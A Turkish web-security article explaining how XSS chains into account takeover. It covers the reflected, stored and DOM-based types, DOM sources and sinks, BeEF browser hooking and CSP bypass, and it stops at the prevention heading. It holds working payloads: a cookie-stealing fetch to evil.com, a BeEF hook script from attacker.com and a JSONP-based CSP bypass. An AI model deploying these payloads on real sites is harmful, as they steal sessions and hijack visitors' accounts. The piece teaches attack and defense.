Araştırma Kategorisi • Web Uygulama Güvenliği

XSS'ten Hesap Ele Geçirmeye: DOM Tabanlı ve Stored XSS Saldırı Zinciri

Cross-Site Scripting (XSS), hedefin tarayıcısında JavaScript çalıştırmanın ötesinde; çerez hırsızlığı, keylogger kurma, tarayıcı kamerasına erişim ve tam hesap ele geçirme gibi zincirlenmiş saldırıların başlangıç noktasıdır. Bu makalede üç XSS türünü, gerçek bir saldırı senaryosunu ve CSP bypass yöntemlerini inceliyoruz.

1. Üç XSS Türü Arasındaki Kritik Farklar

Tür Kalıcılık Konum Hedef Sayısı
ReflectedGeçiciURL parametresiLinke tıklayan kişi
StoredKalıcı (DB)Yorum/profil/mesajSayfayı ziyaret eden herkes
DOM-BasedGeçiciTarayıcı DOM'uLinke tıklayan kişi

2. DOM-Based XSS: Sunucu Taraflı Hiçbir İz Bırakmaz

DOM-Based XSS'te zararlı kod sunucuya hiç ulaşmaz. Tarayıcının kendi JavaScript'i kullanıcı verisini güvenli olmayan kaynaklardan (Source) alıp güvenli olmayan fonksiyonlara (Sink) aktarır.

Tehlikeli Kaynaklar (Sources)

document.location.href location.search document.referrer

Tehlikeli Hedefler (Sinks)

element.innerHTML document.write() eval()
// Zafiyetli JavaScript kodu
var search = location.search.substring(1);
document.getElementById('result').innerHTML = 'Aranan: ' + search;

// Saldırı URL'si
https://site.com/search?<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>

3. BeEF ile Tarayıcı Sömürüsü (Browser Exploitation Framework)

BeEF, XSS ile kurbanın tarayıcısını hook ederek komuta-kontrol sunucusuna bağlar. Çerez çalmak, keylogger kurmak, form phishing göstermek, ağ içi port taraması yapmak mümkün hale gelir.

// Stored XSS alana enjekte edilen BeEF hook
<script src="http://attacker.com:3000/hook.js"></script>

// Zararlı yorum kaydedildiğinde sayfayı ziyaret eden
// HER kullanıcı BeEF paneline düşer.

4. Content Security Policy (CSP) ve Bypass Teknikleri

CSP, hangi kaynakların script yükleyebileceğini belirten bir HTTP başlığıdır. Ancak yanlış yapılandırılmış CSP'ler bypass edilebilir.

# Zayıf CSP örneği — unsafe-inline ve CDN'e izin var
Content-Security-Policy: script-src 'self' 'unsafe-inline' https://cdn.jquery.com

# Bypass: jQuery CDN üzerindeki JSONP endpoint'i kullan
<script src="https://cdn.jquery.com/jsonp?callback=alert"></script>

Güvenli CSP; nonce veya hash tabanlı olmalı, unsafe-inline ve unsafe-eval içermemeli, wildcard (*) kullanılmamalıdır.

5. Önleme Stratejileri